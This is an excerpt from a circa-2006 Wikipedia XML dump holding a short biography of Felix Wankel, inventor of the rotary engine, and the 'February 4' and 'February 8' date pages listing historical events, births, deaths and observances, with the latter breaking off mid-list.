      <text xml:space="preserve">Dr. '''Felix Heinrich Wankel''' ([[August 13]], [[1902]]&amp;ndash;[[October 9]], [[1988]]) was the [[Germany|German]] inventor of the [[Wankel engine]].

Wankel was born in [[Lahr]], Germany, in the upper Rhine Valley. Since his mother was widowed in [[World War I]], Wankel received no [[university]] education or even an [[apprenticeship]]. However he was able to teach himself technical subjects and conceived the idea of the [[Wankel engine]] in [[1924]]. In the 1930s, he had a disagreement with [[Adolf Hitler]], and was imprisoned by the [[National Socialist German Workers Party|Nazis]] for some months. During [[World War II]], he developed seals and rotary valves for German air force aircraft and navy torpedoes. After the war, he was imprisoned by the [[Allies]] for some months, his laboratory was closed, his work confiscated, and he was prohibited from doing more work. In [[1951]], he began development of the engine at [[NSU Motorenwerke AG|NSU]], leading to the first running prototype in [[1957]].  His [[Wankel engine]] design was licensed and further developed and improved in 1959 and 1960 by Curtiss Wright in New Jersey before [[Mazda]] used these improvements in Japan. The engine has been successfully used by Mazda in several generations of their RX-series of [[Coupe|coupés]].

In later years, Wankel was granted an honorary Doctorate of Engineering (Dr.-Ing.).  He was known for his championing of [[animal rights]] and opposition to the use of animals in testing.  Felix Wankel died in [[Heidelberg]], having never been issued a [[driver's license]].

==Honors and awards==
*Honorary doctorate degree from [[Technische Universität München]], [[December 5]], [[1969]]. 
*The Federation of German Engineers Gold Medal, [[1969]].
*The Grand Federal Service Cross, Germany's highest civilian honor, [[1970]]
*The Franklin Medal, [[Philadelphia]], [[1971]].
*The Bavarian Service Medal, [[1973]].
*The  &quot;Honour Citizen&quot; of [[Lahr]],[[1981]], and the title of Professor in [[1987]].
*Honorary citizenship of [[Lindau]] (declined)

==See also==
*[[NSU Ro 80]]
*[[Citroën GS]]
*[[Mazda RX-7]]
*[[Mazda RX-8]]

==External links== 
*{{US patent|2988008}}
*[http://www.monito.com/wankel/dr-wankel.html A page about Dr. Wankel]
*[http://science.howstuffworks.com/framed.htm?parent=rotary-engine.htm&amp;url=http://www.monito.com/wankel/dr-wankel.html Brief Biography of Dr. Ing. Felix Heinrich Wankel (1902-1988)]

{{inventor-stub}}

[[Category:1902 births|Wankel, Felix]]
[[Category:1988 deaths|Wankel, Felix]]
[[Category:German inventors|Wankel, Felix]]

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    </revision>
  </page>
  <page>
    <title>February 4</title>
    <id>11359</id>
    <revision>
      <id>42164148</id>
      <timestamp>2006-03-04T06:13:39Z</timestamp>
      <contributor>
        <ip>69.138.229.246</ip>
      </contributor>
      <comment>/* Events */</comment>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{FebruaryCalendar}}
|-
|{{ThisDateInRecentYears|Month=February|Day=4}}
|}
'''February 4''' is the 35th day of the year in the [[Gregorian Calendar]]. There are 330 days remaining (331 in [[leap year]]s). 
==Events==
*[[211]] - [[Roman Emperor]] [[Septimius Severus]] dies, leaving the [[Roman Empire]] in the hands of his two quarrelsome sons, [[Caracalla]] and [[Publius Septimius Geta|Geta]].
*[[1454]] - In the [[Thirteen Years' War]], the [[Secret Council]] of the [[Prussian Confederacy]] sends a formal act of disobedience to the [[Grand Master]].
*[[1703]] - In [[Edo]] (now [[Tokyo]]), 46 of the [[Forty-Seven Ronin]] commit [[seppuku]] (ritual suicide) as recompense for avenging their master's death.
*[[1783]] - [[American Revolutionary War]]: The [[United Kingdom]] formally declares that it will cease hostilities with the [[United States|United States of America]]. 
*[[1789]] - [[George Washington]] is unanimously elected to be the first [[President of the United States]] by the [[U.S. Electoral College]].
*[[1792]] - [[George Washington]] is unanimously elected to a second term as [[President of the United States]] by the [[U.S. Electoral College]].
*[[1794]] - The [[France|French]] legislature abolishes [[slavery]] throughout all territories of the [[French Republic]].
*[[1801]] - [[John Marshall]] is sworn in as [[Chief Justice of the United States]].
*[[1810]] - [[British Navy]] seizes [[Guadeloupe]].
*[[1859]] - [[Codex Sinaiticus]] discovered in [[Egypt]].
*[[1861]] - [[American Civil War]]: In [[Montgomery, Alabama]] the [[Confederate States of America]] is formed by delegates from six break-away [[U.S. state|United States]]. 
*[[1862]] - [[Bacardi]], one of the world's largest [[Distilled beverage|spirits]] company, is founded as a small [[Distillation|distillery]] in [[Santiago de Cuba]] in eastern [[Cuba]].
*[[1899]] - The [[Philippine-American War]] begins.
*[[1915]] - [[Germany]] establishes a [[submarine]] blockade around the [[United Kingdom|UK]] and declares any vessel in it a legitimate target. 
*[[1927]] - [[The Jazz Singer]] starring [[Al Jolson]] is released.
*[[1932]] - [[World War II]]: [[Japan]] occupies [[Harbin, China]].
*1932 - [[1932 Winter Olympics]] open in [[Lake Placid, New York]].
*[[1936]] - [[Radium]] E. becomes the first [[radioactive]] element to be made synthetically. 
*[[1938]] - [[Thornton Wilder]]'s play ''[[Our Town]]'' opens ([[New York City]]). 
*1938 - [[The Walt Disney Company|Disney]]'s ''[[Snow White and the Seven Dwarfs (1937 film)|Snow White and the Seven Dwarfs]]'' was released, and it went on to become a major [[List of highest-grossing films|box-office success]], making more money than any other [[motion picture]] in [[1938]]. 
*[[1941]] - [[World War II]]: The [[United Service Organization]] (USO) is created to entertain [[United States|American]] troops. 
*[[1943]] - [[Battle of Stalingrad]] ends.
*[[1945]] - World War II: [[President of the United States|President]] [[Franklin D. Roosevelt]], [[Prime Minister of the United Kingdom]] [[Winston Churchill]] and [[Soviet Union|Soviet]] leader [[Joseph Stalin]] begin the [[Yalta Conference]]. 
*[[1948]] - [[Ceylon]] (later renamed [[Sri Lanka]]) becomes independent within the [[Commonwealth of Nations|British Commonwealth]].
*[[1957]] - [[USS Nautilus (SSN-571)|USS ''Nautilus'']], the first [[Nuclear marine propulsion|nuclear-powered]] [[submarine]], logs her 60,000th [[nautical mile]], matching the endurance of the fictional [[Nautilus (Verne)|''Nautilus'']] described in [[Jules Verne]]'s novel ''[[Twenty Thousand Leagues Under the Sea|&quot;20,000 Leagues Under the Sea&quot;]]''.
*[[1960]] - [[Lorraine, Quebec]] is founded.
*[[1962]] - [[Ian Fleming]]'s ''[[The Living Daylights]]'' first published.
*[[1966]] - [[All Nippon Airways]] [[Boeing 727]] jet plunges into [[Tokyo Bay]], killing 133.
*[[1968]] - [[Bowie Kuhn]] becomes the fifth commissioner of [[Major League Baseball]], replacing [[William Eckert]].
*[[1969]] - [[Yasser Arafat]] takes over as chairman of the [[Palestine Liberation Organization]].
*[[1974]] - The [[Symbionese Liberation Army]] kidnaps [[Patty Hearst]] in [[Berkeley, California]]. 
*[[1976]] - In [[Guatemala]] and [[Honduras]] an [[earthquake]] kills more than 22,000.
*[[1976]] - [[1976 Winter Olympics]] open in [[Innsbruck]], [[Austria]].
*[[1977]] - [[Fleetwood Mac]] releases one of the biggest-selling albums of all time, ''[[Rumours]]''.
*[[1980]] - [[Ayatollah]] [[Ruhollah Khomeini]] names [[Abolhassan Banisadr]] as president of [[Iran]].
*[[1984]] - The [[Youth of the Left Socialists]] (VSU) founded in [[Denmark]].
*[[1991]] - The [[Baseball Hall of Fame]] votes to ban [[Pete Rose]].
*[[1996]] - Major [[snowstorm]] paralyzes [[Midwest]]ern [[United States]], [[Milwaukee, Wisconsin]] ties all-time record low temperature at -26°F. (-32°C)
*[[1997]] - [[O. J. Simpson]] is found to be civilly liable for the deaths of [[Nicole Brown Simpson]] and [[Ronald Goldman]]. 
*1997 - En route to [[Lebanon]], two [[Israel]]i [[CH-53 Sea Stallion|Sikorsky CH-53]] troop-transport [[helicopter]]s collide in mid-air over [[northern Galilee]], [[Israel]] killing 73. 
*1997 - After at first contesting the results, [[Serbia]]n President [[Slobodan Milošević]] recognizes opposition victories in the [[November]] [[1996]] elections. 
*[[1998]] - An [[earthquake]] measuring 6.1 on the [[Richter Scale]] in northeast [[Afghanistan]] kills more than 5,000.  
*[[1999]] - [[Hugo Chávez Frías]], [[Venezuelan]] military and politician, is elected [[President]] of [[Venezuela]].
*1999 - Unarmed [[West African]] immigrant [[Amadou Diallo (shooting victim)|Amadou Diallo]] is shot dead by four plainclothes [[New York City]] police officers on an unrelated stake-out, inflaming race-relations in the city.
*[[2000]] - [[USS Iwo Jima (LHD-7)]] launched.
*2000 - [[Germany|German]] [[extortionist]] [[Klaus-Peter Sabotta]] is [[life imprisonment|jailed for life]] for attempted murder and extortion in connection with [[sabotage]] of [[Germany|German]] [[railway]] lines.
*[[2003]] - The ''[[Federal Republic of Yugoslavia]]'' is officially renamed to [[Serbia and Montenegro]] and adopts a new constitution.
*[[2005]] - [[Bill &quot;El Wingador&quot; Simmons]] wins a record fifth [[Wing Bowl]] Championship at the [[Wachovia Center]] in [[Philadelphia]].
*[[2006]] - [[Anders Fogh Rasmussen cartoons]] published in response to the affair of the [[Muhammad drawings]].
*2006 - Michaela Hutchison (sophomore) of Skyview High School in Soldotna, [[Alaska]], becomes the first female wrestler in [[U.S.]] history to win a High School state co-ed 4A [[wrestling]] title, when pitted against boys.
*2006 - A stampede occurs in the [[PhilSports Arena|ULTRA Stadium]] near Manila killing at least 74.

==Births==
*[[1575]] - [[Pierre de Bérulle]], French cardinal and statesman (d. [[1629]])
*[[1620]] - [[Gustaf Bonde]], Swedish statesman (d. [[1667]])
*[[1646]] - [[Hans Erasmus Aßmann, Freiherr von Abschatz]], German statesman and poet (d. [[1699]])
*[[1677]] - [[Johann Ludwig Bach]], German composer (d. [[1731]])
*[[1688]] - [[Pierre de Marivaux]], French writer (d. [[1763]])
*[[1725]] - [[Dru Drury]], English entomologist (d. [[1804]])
*[[1778]] - [[Augustin Pyrame de Candolle]], Swiss botanist (d. [[1841]])
*[[1840]] - [[Hiram Stevens Maxim]], American weapons inventor (d. [[1916]])
*[[1841]] - [[Clément Ader]], French aviation pioneer (d. [[1926]])
*[[1846]] - [[Nikolay Umov]], Russian physicist (d. [[1915]])
*[[1849]] - [[Jean Richepin]], French poet 
*[[1871]] - [[Friedrich Ebert]], [[Chancellor of Germany|Chancellor]] and [[President of Germany]] (d. [[1925]])
*[[1873]] - [[Etienne Desmarteau|Étienne Desmarteau]], Canadian athlete (d. [[1905]])
*[[1875]] - [[Ludwig Prandtl]], German physicist (d. [[1953]])
*[[1881]] - [[Fernand Léger]], French painter (d. [[1955]])
*[[1882]] - [[E. J. Pratt]], Canadian poet born Newfoundland (d. [[1964]])
*[[1892]] - [[Prince George I, Duke of Westrogothia]] (d. [[1971]])
*1892 - [[Andreu Nin]], Catalan politician (d. [[1937]])
*[[1897]] - [[Ludwig Erhard]], [[Chancellor of Germany]] (d. [[1977]])
*[[1902]] - [[Charles Lindbergh]], American pilot (d. [[1974]])
*1902 - [[Hartley Shawcross]], British lawyer and politician (d. [[2003]])
*[[1904]] - [[MacKinlay Kantor]],  American writer (d. [[1977]])
*[[1906]] - [[Dietrich Bonhoeffer]], German theologian (d. [[1945]])
*1906 - [[Clyde Tombaugh]],  American astronomer (d. [[1997]])
*[[1908]] - [[Julian Bell]], British poet (d. [[1937]])
*[[1912]] - [[Erich Leinsdorf]], Austrian conductor (d. [[1993]])
*1912 - [[Byron Nelson]], American golfer
*[[1913]] - [[Rosa Parks]],  American civil rights activist (d. [[2005]])
*[[1914]] - [[Alfred Andersch]], German writer (d. [[1980]])
*[[1915]] - [[William Talman]], American actor ([[1968]])
*1915 - [[Norman Wisdom]], English actor and comedian
*[[1917]] - [[Yahya Khan]], [[President of Pakistan]] (d. [[1980]])
*[[1918]] - [[Janet Waldo]], American actress
*1918 - [[Ida Lupino]], English film actress and director (d. 1995)
*[[1921]] - [[Betty Friedan]], American feminist (d. [[2006]])
*1921 - [[K. R. Narayanan]], [[President of India]] (d. [[2005]])
*[[1923]] - [[Conrad Bain]], Canadian-born actor
*[[1925]] - [[Russell Hoban]], American writer
*[[1931]] - [[Isabel Martínez de Perón]], third wife of Argentine dictator [[Juan Perón]]
*[[1935]] - [[Martti Talvela]], Finnish bass (d. [[1989]])
*[[1936]] - [[David Brenner]], American comedian
*1936 - [[Gary Conway]], American actor
*[[1940]] - [[George Romero]],  American screenwriter, producer, and director
*1940 - [[John Schuck]], American actor
*[[1941]] - [[John Steel]], British musician ([[The Animals]])
*[[1943]] - [[Ken Thompson]], American computer scientist
*1943 - [[Alberto João Jardim]], Portuguese president of the regional government of Madeira
*[[1947]] - [[Dan Quayle]], [[Vice President of the United States]]
*[[1948]] - [[Alice Cooper]], American musician
*[[1949]] - [[Michael Beck]], American actor
*[[1950]] - [[Pamela Franklin]], British actress
*[[1951]] - [[Patrick Bergin]], Irish actor
*1951 - [[Phil Ehart]], American musician ([[Kansas (band)]])
*[[1953]] - [[Kitaro]], Japanese composer
*[[1957]] - [[Don Davis (composer)|Don Davis]], American composer
*[[1958]] - [[Tomasz Pacynski|Tomasz Pacy&amp;#324;ski]], Polish writer
*[[1959]] - [[Pamelyn Ferdin]], American actress
*1959 - [[Lawrence Taylor]], American football player
*[[1960]] - [[Jonathan Larson]], American composer (d. [[1996]])
*[[1961]] - [[Stewart O'Nan]], American author
*1961 - [[Denis Savard]], Canadian [[ice hockey]] player
*[[1962]] - [[Clint Black]], American musician
*[[1963]] - [[Pirmin Zurbriggen]], Swiss skier
*[[1964]] - [[Kevin 'Noodles' Wasserman|Noodles]], American guitarist ([[The Offspring]])
*[[1965]] - [[Jerome Brown]], American football player (d. [[1992]])
*[[1967]] - [[Sergei Grinkov]], Russian figure skater (d. [[1995]])
*[[1968]] - [[Marko Matvere]], Estonian actor
*[[1969]] - [[Duncan Coutts]], Canadian bassist ([[Our Lady Peace]])
*[[1970]] - [[Gabrielle Anwar]], English actress
*[[1971]] - [[Rob Corddry]], American actor and comedian
*1971 - [[Michael Goorjian]], American actor
*[[1972]] - [[Giovanni Silva De Oliveira]], Brazilian footballer
*[[1973]] - [[Oscar De La Hoya]], Mexican-born boxer
*[[1975]] - [[Natalie Imbruglia]], Australian musician and actress
*[[1976]] - [[Cam'ron]], American rapper
*[[1977]] - [[Gavin DeGraw]], American musician
*[[1982]] - [[Chris Sabin]], Professional Wrestler
*[[1987]] - [[Lucie Šafářová]], Czech tennis player
*[[1988]] - [[Carly Patterson]], American gymnast
&lt;!-- Do not add yourself, or anyone else who does not already have a Wikipedia article, to this list. Duplicate instances of years should not be links. --&gt;

==Deaths==
*[[211]] - [[Septimius Severus]], [[List of Roman Emperors|Emperor of Rome]] (b. [[146]])
*[[708]] - [[Pope Sisinnius]]
*[[856]] - [[Rabanus Maurus]], Bishop of Mainz
*[[869]] - [[Saint Cyril]], Greek missionary to the Slavs (b. [[827]])
*[[1590]] - [[Gioseffo Zarlino]], Italian composer (b. [[1517]])
*[[1615]] - [[Dom Justo Takayama]], Japanese warlord (b. [[1552]])
*1615 - [[Giovanni Battista della Porta]], Italian physicist (b. [[1535]])
*[[1694]] - [[Nataliya Kyrillovna Naryshkina]], Tsaritsa of Russia (b. [[1651]])
*[[1713]] - [[Anthony Ashley Cooper, 3rd Earl of Shaftesbury]], English politican and philosopher (b. [[1671]])
*[[1774]] - [[Charles Marie de La Condamine]], French mathematician and geographer (b. [[1701]])
*[[1799]] - [[Étienne-Louis Boullée]], French architect (b. [[1728]])
*[[1781]] - [[Josef Mysliveček]], Czech composer (b. [[1737]])
*[[1894]] - [[Adolphe Sax]], Belgian instrument maker (b. [[1814]])
*[[1905]] - [[Louis-Ernest Barrias]], French sculptor (b. [[1841]])
*[[1928]] - [[Hendrik Lorentz]], Dutch physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate (b. [[1853]])
*[[1933]] - [[Archibald Sayce]], English educator (b. [[1846]])
*[[1936]] - [[Wilhelm Gustloff]], German leader of the Swiss Nazi party (b. [[1895]])
*[[1944]] - [[Yvette Guilbert]], French singer and actress (b. [[1867]])
*1944 - [[Arsen Kotsoyev]], Russian writer (b. [[1872]])
*[[1958]] - [[Henry Kuttner]], American author (b. [[1915]])
*[[1959]] - [[Una O'Connor]], Irish actress (b. [[1880]])
*[[1968]] - [[Neal Cassady]], American writer (b. [[1926]])
*1968 - [[Gilbert H. Grosvenor]], American president of the National Geographic Society (b. [[1875]])
*[[1969]] - [[Thelma Ritter]], American actress (b. [[1905]])
*[[1974]] - [[Satyendra Nath Bose]], Indian physicist (b. [[1894]])
*[[1975]] - [[Louis Jordan]], American musician (b. [[1908]])
*[[1977]] - [[Brett Halliday]], American writer (b. [[1904]])
*[[1983]] - [[Carpenters|Karen Carpenter]],  American singer and musician ([[Carpenters]]) (anorexia) (b. [[1950]])
*[[1984]] - [[Anna Anderson]], claimant to the throne of Russia
*[[1987]] - [[Liberace]], American musician (b. [[1919]])
*1987 - [[Carl Rogers]], American psychologist (b. [[1902]])
*[[1992]] - [[Lisa Fonssagrives]], Swedish model (b. [[1911]])
*[[1995]] - [[Godfrey Brown]], British athlete and teacher (b. [[1915]])
*1995 - [[Patricia Highsmith]], American author (b. [[1921]])
*[[2000]] - [[Carl Albert]], [[Speaker of the United States House of Representatives]] (b. [[1908]])
*2000 - [[Doris Coley]], American singer ([[Shirelles]]) (b. [[1941]])
*[[2001]] - [[J. J. Johnson]], American jazz trombonist and composer (b. [[1924]])
*2001 - [[Iannis Xenakis]], Greek-born composer (b. [[1922]])
*[[2005]] - [[Ossie Davis]], American actor (b. [[1917]])
*[[2006]] - [[Betty Friedan]], American feminist (b.[[1921]])
*2006 - [[Al Lewis]], American actor (b. [[1923]])
&lt;!-- Duplicate instances of years should not be links. --&gt;

==Holidays and observances==
*Ancient [[Latvia]] - [[Biezputras Diena]] observed.
*Feast of [[Saint Veronica]] in the [[Roman Catholic]] church .
*[[Independence Day]] in [[Sri Lanka]] ([[1948]]).
*[[Angola]]n Anniversary of the Outbreak of Armed Struggle against [[Portugal|Portuguese]] [[Colonialism]].

==External links==
* [http://www1.sympatico.ca/cgi-bin/on_this_day?mth=Feb&amp;day=04 On this day in Canada]
* [http://www.nytimes.com/learning/general/onthisday/20060204.html NY Times: On this day]
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/february/4 BBC: On This Day]

----

[[February 3]] - [[February 5]] - [[January 4]] - [[March 4]] -- [[Historical anniversaries|listing of all days]]

{{months}}

[[Category:Days|February 04]]
[[Category:Days]]

[[af:4 Februarie]]
[[ar:4 فبراير]]
[[an:4 de frebero]]
[[ast:4 de febreru]]
[[bg:4 февруари]]
[[be:4 лютага]]
[[bs:4. februar]]
[[ca:4 de febrer]]
[[ceb:Pebrero 4]]
[[cv:Нарăс, 4]]
[[co:4 di frivaghju]]
[[cs:4. únor]]
[[cy:4 Chwefror]]
[[da:4. februar]]
[[de:4. Februar]]
[[et:4. veebruar]]
[[el:4 Φεβρουαρίου]]
[[es:4 de febrero]]
[[eo:4-a de februaro]]
[[eu:Otsailaren 4]]
[[fo:4. februar]]
[[fr:4 février]]
[[fy:4 febrewaris]]
[[ga:4 Feabhra]]
[[gl:4 de febreiro]]
[[ko:2월 4일]]
[[hr:4. veljače]]
[[io:4 di februaro]]
[[ilo:Febrero 4]]
[[id:4 Februari]]
[[ia:4 de februario]]
[[ie:4 februar]]
[[is:4. febrúar]]
[[it:4 febbraio]]
[[he:4 בפברואר]]
[[jv:4 Februari]]
[[ka:4 თებერვალი]]
[[csb:4 gromicznika]]
[[ku:4'ê reşemiyê]]
[[lt:Vasario 4]]
[[lb:4. Februar]]
[[hu:Február 4]]
[[mk:4 февруари]]
[[ms:4 Februari]]
[[nap:4 'e frevaro]]
[[nl:4 februari]]
[[ja:2月4日]]
[[no:4. februar]]
[[nn:4. februar]]
[[oc:4 de febrièr]]
[[os:4 февралы]]
[[pl:4 lutego]]
[[pt:4 de Fevereiro]]
[[ro:4 februarie]]
[[ru:4 февраля]]
[[se:Guovvamánu 4.]]
[[sco:4 Februar]]
[[sq:4 Shkurt]]
[[scn:4 di frivaru]]
[[simple:February 4]]
[[sk:4. február]]
[[sl:4. februar]]
[[sr:4. фебруар]]
[[fi:4. helmikuuta]]
[[sv:4 februari]]
[[tl:Pebrero 4]]
[[tt:4. Febräl]]
[[te:ఫిబ్రవరి 4]]
[[th:4 กุมภาพันธ์]]
[[vi:4 tháng 2]]
[[tr:4 Şubat]]
[[uk:4 лютого]]
[[wa:4 di fevrî]]
[[war:Pebrero 4]]
[[zh:2月4日]]
[[pam:Pebreru 4]]</text>
    </revision>
  </page>
  <page>
    <title>February 8</title>
    <id>11360</id>
    <revision>
      <id>41967185</id>
      <timestamp>2006-03-02T23:01:38Z</timestamp>
      <contributor>
        <username>Elizabeth M Ross</username>
        <id>891688</id>
      </contributor>
      <minor />
      <comment>/* Events */ better wordage</comment>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{FebruaryCalendar}}
|-
|{{ThisDateInRecentYears|Month=February|Day=8}}
|}
'''[[February 8]]''' is the 39th day of the year in the [[Gregorian Calendar]]. There are 326 days remaining, 327 in [[leap year]]s.
==Events==
*[[421]] -  [[Constantius III]] becomes co-[[Emperor]] of the [[Western Roman Empire]].
*[[1555]] - [[Laurence Saunders]] is led barefoot to his [[Execution (legal)|execution]] and [[Execution by burning|burned at the stake]]. 
*[[1587]] - [[Mary I of Scotland|Mary, Queen of Scots]] is executed.
*[[1601]] - [[Robert Devereux, 2nd Earl of Essex]], rebels against [[Elizabeth I of England]] - revolt is quickly crushed.
*[[1622]] - King [[James I of England]] disbands the [[British Parliament|English Parliament]].
*[[1692]] -  A doctor in [[Danvers, Massachusetts|Salem Village]], [[Massachusetts Bay Colony]] declares that three teenage girls are under domination of [[Satan]], leading to the [[Salem witch trials]].
*[[1693]] - The [[College of William and Mary]] in [[Williamsburg, Virginia]] is granted a charter by [[William III of England|King William III]] and [[Mary II of England|Queen Mary II]].
*[[1807]] - [[Battle of Eylau]] - [[Napoleon I of France|Napoleon]] defeats [[Russia]]ns under [[General]] [[Benigssen]].
*[[1837]] - [[Richard Mentor Johnson|Richard Johnson]] becomes the first [[Vice President of the United States]] chosen by the [[United States Senate]].
*[[1849]] - [[Roman Republic (19th century)|Roman Republic]] established.
*[[1855]] - [[The Devil's Footprints]] mysteriously appear in southern [[Devon]].
*[[1867]] - The ''[[Ausgleich]]'' results in the establishment of the [[Monarchy|Dual Monarchy]] of [[Austria-Hungary]].
*[[1879]] - [[Sandford Fleming]] first proposes adoption of [[Universal Standard Time]] at a meeting of the [[Royal Canadian Institute]]. 
*[[1887]] - The [[Dawes Act]] authorized the [[President of the United States]] to survey [[Native Americans in the United States|Native American]] tribal land and divide it into individual allotments.
*[[1900]] - [[United Kingdom|British]] troops are defeated by [[Boer]]s at [[Ladysmith, South Africa|Ladysmith]], [[South Africa]].
*[[1904]] - [[Battle of Port Arthur]]: A surprise [[torpedo]] attack by the [[Japan]]ese at [[Lushun|Port Arthur]], [[China]] starts the [[Russo-Japanese War]].
*[[1910]] - The [[Boy Scouts of America]] is incorporated by [[William D. Boyce]].  
*[[1915]] - [[D.W. Griffith]]'s controversial film ''[[The Birth of a Nation]]'' premieres in [[Los Angeles, California|Los Angeles]].
*[[1918]] - The ''[[Stars and Stripes]]'' [[newspaper]] publishes for the first time.
*[[1922]] - [[President of the United States|President]] [[Warren G. Harding]] introduces the first [[radio]] in the [[White House]].
*[[1924]] - [[Death penalty]]: The first state execution using [[gas]] in the [[United States]] takes place in [[Nevada]].  
*[[1936]] - [[Jay Berwanger]] becomes the first person to be selected by a [[National Football League]] draft, by the [[Philadelphia Eagles]].
*[[1943]] - [[World War II]]: [[Battle of Kursk]] - the [[Russia]]n army captures the city.
*1943 - [[World War II]]: [[Battle of Guadalcanal]] - [[United States]] forces defeat [[Japanese people|Japanese]] troops.
*[[1949]] - [[Cardinal Mindszenty]] of [[Hungary]] sentenced for [[treason]].
*[[1955]] - The [[Government]] of [[Sindh]] abolished [[Feudalism|Jagirdari system]] in the province. One [[million]] [[acres]] of land thus acquired is to be distributed among the landless [[peasant|peasants]].
*[[1960]] - [[Elizabeth II of the United Kingdom|Queen Elizabeth II]] of the [[United Kingdom]] issued an [[Order-in-Council]], stating that she and her family would be known as the [[House of Windsor]], and that her descendants will take the name &quot;[[Mountbatten-Windsor]]&quot;.
*[[1963]] - Travel, financial and commercial transactions by [[United States]] citizens to [[Cuba]] are made illegal by the [[John F. Kennedy]] administration.  
*[[1968]] - [[American civil rights movement]]:  A [[civil rights]] protest staged at a white-only [[bowling alley]] in [[Orangeburg, South Carolina]] is broken-up by highway patrolmen leading to the [[Orangeburg Massacre|deaths of three college students]].
*[[1969]] - The last weekly issue of the ''[[Saturday Evening Post]]'' hits [[magazine]] stands.  
*[[1971]] - The [[Nasdaq]] [[stock market index]] debuts.  
*[[1974]] - After 84 days in [[outer space|space]], the crew of the temporary [[United States|American]] [[space station]] [[Skylab]] return to [[Earth]].
*1974 - Military [[coup]] in [[Burkina Faso|Upper Volta]].
*[[1978]] - Proceedings of the [[United States Senate]] are broadcast on [[radio]] for the first time.
*[[1979]] - [[Denis Sassou-Nguesso]] became the [[Heads of State of the Republic of the Congo|President]] of the [[Republic of the Congo]] for the first time.
*[[1983]] - Racehorse [[Shergar]] is kidnapped in [[County Kildare]], [[Ireland]]. The fate of the horse is still unknown.
*[[1984]] - [[1984 Winter Olympics]] open in [[Sarajevo]].
*[[1985]] - After 6-1/2 years, the [[television series]] ''[[The Dukes of Hazzard]]'' goes off the air.  
*[[1986]] - [[1984 Summer Olympics]] head of the [[LAPD]] bomb squad, [[Arleigh Mccree]], and his partner [[Police officer|Officer]] [[Ronald Ball]] of the [[Firearms]] and explosives unit were killed while trying to dismantle two pipe bombs when they responded to a call. [[McCree]] was recognized as one of the top explosive experts in the world.
*[[1989]] - An [[Independent Air]] [[Boeing 707]] crashes into [[Santa Maria]] mountain in [[Azores Islands]] off the coast of [[Portugal]], killing 144.
*[[1990]] - The first recorded use of the [[chatspeak]] term &quot;[[troll]]&quot;, found in the [[Google#Google_Groups|Google Usenet archive]].
*[[1991]] - [[Roger Clemens]] signs record $5,380,250 per year [[Red Sox]] contract.
*[[1993]] - [[General Motors]] sues [[NBC]] after ''[[Dateline NBC]]'' allegedly rigs two crashes intended to demonstrate that some [[General Motors|GM]] pickups can easily catch fire if hit in certain places. [[NBC]] settles the lawsuit the next day.
*[[1996]] - The [[Congress of the United States|U.S. Congress]] passes the [[Communications Decency Act]].
*[[1998]] - First female [[ice hockey]] game in [[Olympic]] history: [[Finland]] beats [[Sweden]] 6-0.
*[[2001]] - [[Disney's California Adventure Park]], the [[Disneyland Resort]]'s second park in its 46-year history, opens.
*[[2002]] - Opening ceremony of the [[Salt Lake City]] [[2002 Winter Olympic Games|Winter Olympic Games]].
*[[2005]] - [[Israel]] and [[Palestinian|Palestinians]] agree to cease-fire.
*[[2006]] - Palestinians attack [[Temporary International Presence in Hebron]] offices in [[Hebron]]; International observers end decade-long presence

==Births==
*[[412]] - [[Proclus]], Greek philosopher (d. [[487]])
*[[1191]] - [[Yaroslav II of Russia]] (d. [[1246]])
*[[1291]] - King [[Afonso IV of Portugal]] (d. [[1357]])
*[[1487]] - [[Ulrich, Duke of Württemberg]] (d. [[1550]])
*[[1552]] - [[Agrippa d'Aubigné]], French poet and soldier (d. [[1630]])
*[[1577]] - [[Robert Burton (scholar)|Robert Burton]], English cleric and writer (d. [[1640]])
*[[1586]] - [[Jacob Praetorius]], German composer (d. [[1651]])
*[[1649]] - [[Gabriel Daniel]], French Jesuit historian (d. [[1728]])
*[[1677]] - [[Jacques Cassini]], French astronomer (d. [[1756]])
*[[1685]] - [[Charles-Jean-François Hénault]], French historian (d. [[1770]])
*[[1700]] - [[Daniel Bernoulli]], Dutch-born mathematician (d. [[1782]])
*[[1720]] - [[Emperor Sakuramachi]] of Japan (d. [[1750]])
*[[1804]] - [[Richard Lemon Lander]], British explorer (d. [[1834]])
*[[1807]] - [[Benjamin Waterhouse Hawkins]], English sculptor and naturalist (d. [[1889]])
*[[1819]] - [[John Ruskin]], English author
*[[1820]] - [[William Tecumseh Sherman]], American Union general (d. [[1891]])
*[[1828]] - [[Jules Verne]], French author (d. [[1905]])
*[[1834]] - [[Dmitri Mendeleev]], Russian chemist (d. [[1907]])
*[[1851]] - [[Kate Chopin]], American author (d. [[1904]])
*[[1878]] - [[Martin Buber]], German philosopher (d. [[1965]])
*[[1880]] - [[Franz Marc]], German painter (d. [[1916]])
*[[1883]] - [[Joseph Alois Schumpeter]], Austrian economist (d. [[1950]])
*[[1886]] - [[Charles Ruggles]], American actor (d. [[1970]])
*[[1888]] - Dame [[Edith Evans]], British actress (d. [[1976]])
*[[1890]] - [[Claro M. Recto]] , Filipino / Tagalog Nationalist (d. [[1960]])
*[[1894]] - [[Ludwig Marcuse]], German author and philosopher (d. [[1971]])
*[[1895]] - [[King Vidor]], American film director (d. [[1982]])
*[[1902]] - [[Demchugdongrub]], Mongolian politician (d. [[1966]])
*[[1903]] - [[Greta Keller]], Austrian-born cabaret singer and actress (d. [[1977]])
*[[1906]] - [[Chester Carlson]], American physicist and inventor (d. [[1968]])
*[[1911]] - [[Elizabeth Bishop]], American poet (d. [[1979]])
*1911 - [[Big Joe Turner]], American singer (d. [[1985]])
*[[1918]] - [[Fred Blassie]], American professional wrestler (d. [[2003]])
*[[1920]] - [[Lana Turner]], American actress (d. [[1995]])
*[[1925]] - [[Jack Lemmon]], American actor and film director (d. [[2001]])
*[[1926]] - [[Neal Cassady]], American writer (d. [[1968]])
*1926 - [[Audrey Meadows]], American actress (d. [[1996]])
*[[1930]] - [[Alejandro Rey]], Argentine actor (d. [[1987]])
*[[1931]] - [[James Dean]], American actor (d. [[1955]])
*[[1932]] - [[John Williams (composer)|John Williams]], American composer and conductor
*[[1933]] - [[Elly Ameling]], Dutch soprano
*1933 - [[Jack Larson]], American actor
*[[1937]] - [[Manfred Krug]], German actor
*[[1940]] - [[Ted Koppel]], American journalist
*[[1941]] - [[Nick Nolte]], American actor
*1941 - [[Tom Rush]], American singer/songwriter
